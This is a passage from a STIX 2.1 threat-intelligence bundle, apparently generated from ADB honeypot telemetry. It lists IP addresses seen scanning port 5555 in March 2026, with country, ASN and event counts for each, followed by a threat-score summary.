      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=TW; asn=208137; asn_org=Feo Prest SRL; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-31T14:58:25.000Z | last_seen=2026-03-31T14:59:40.133Z | ports=5555 | cc=TW | asn=208137 | org=Feo Prest SRL",
      "id": "indicator--3c21a198-3c92-4bb8-98c8-c947fbffd2ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T15:00:03.000Z",
      "valid_until": "2026-05-02T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-31T14:58:25.000Z",
          "last_seen": "2026-03-31T14:59:40.133Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TW"
          ],
          "asn": [
            "208137"
          ],
          "org": [
            "Feo Prest SRL"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-31T15:47:28.000Z | last_seen=2026-03-31T15:48:33.805Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--0df64077-bbd4-4749-acaf-466999adf891",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.255.223.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T16:00:02.000Z",
      "valid_until": "2026-05-02T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-31T15:47:28.000Z",
          "last_seen": "2026-03-31T15:48:33.805Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-31T16:54:11.000Z | last_seen=2026-03-31T17:04:41.928Z | ports=5555 | cc=RO | asn=204428 | org=SS-Net",
      "id": "indicator--04fde8eb-8666-4d63-b035-acbb9605ebca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T17:00:03.000Z",
      "valid_until": "2026-05-02T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-31T16:54:11.000Z",
          "last_seen": "2026-03-31T17:04:41.928Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "204428"
          ],
          "org": [
            "SS-Net"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-31T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-31T22:37:02.000Z | last_seen=2026-03-31T22:38:26.352Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--464dcef3-c31b-43b5-8cb9-1c5581357fe6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-31T23:00:02.000Z",
      "valid_until": "2026-05-02T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-31T22:37:02.000Z",
          "last_seen": "2026-03-31T22:38:26.352Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "type": "identity",
      "spec_version": "2.1",
      "id": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "created": "2026-03-31T23:37:34Z",
      "modified": "2026-03-31T23:37:34Z",
      "name": "NadSec",
      "identity_class": "organization",
      "description": "NadSec threat intel generated from T-Pot CE honeypot telemetry and enrichment pipeline.",
      "contact_information": "https://nadsec.online"
    },
    {
      "type": "marking-definition",
      "spec_version": "2.1",
      "id": "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22",
      "created": "2026-03-31T23:37:34Z",
      "definition_type": "tlp",
      "definition": {
        "tlp": "green"
      }
    }
  ],
  "spec_version": "2.1",
  "type": "bundle",
  "x_nadsec_enrichment": {
    "sensor": "adbhoney",
    "month": "2026-03",
    "enriched_at": "2026-03-31T23:37:39Z",
    "ipv4_enriched": 1069,
    "ipv4_missing_in_es": 38,
    "sha256_enriched": 81
  },
  "x_mitre_attack": {
    "techniques": {
      "T1437.001": {
        "name": "Application Layer Protocol: Web Protocols",
        "tactic": "Command and Control",
        "ip_count": 657,
        "sample_sources": []
      }
    },
    "tactic_summary": {
      "Command and Control": 657
    },
    "technique_count": 1,
    "primary_tactics": [
      "Command and Control"
    ]
  },
  "x_nadsec_threat_summary": {
    "total_ips": 657,
    "scored_ips": 657,
    "threat_distribution": {
      "critical": 126,
      "high": 164,
      "medium": 85,
      "low": 80,
      "minimal": 202,
      "unknown": 0
    },
    "avg_threat_score": 47.9,
    "max_threat_score": 100,
    "top_threats": [
      {
        "ip": "130.12.181.85",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "176.120.22.240",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "193.32.162.28",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "37.60.241.154",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "45.205.1.110",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "46.151.178.13",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "80.66.83.43",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "85.11.183.19",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "85.11.183.21",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "85.11.183.25",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "130.12.181.151",
        "threat_score": 99.2,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "160.119.76.200",
        "threat_score": 99.2,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "45.82.78.102",
        "threat_score": 98.0,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "85.217.140.27",
        "threat_score": 97.8,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "85.217.149.21",
        "threat_score": 97.8,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "216.218.206.67",
        "threat_score": 97.0,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "183.81.169.235",
        "threat_score": 96.7,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "203.55.131.3",
        "threat_score": 96.7,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "65.49.20.69",
        "threat_score": 96.3,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "65.49.1.80",
        "threat_score": 96.2,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      }
    ]
  }
}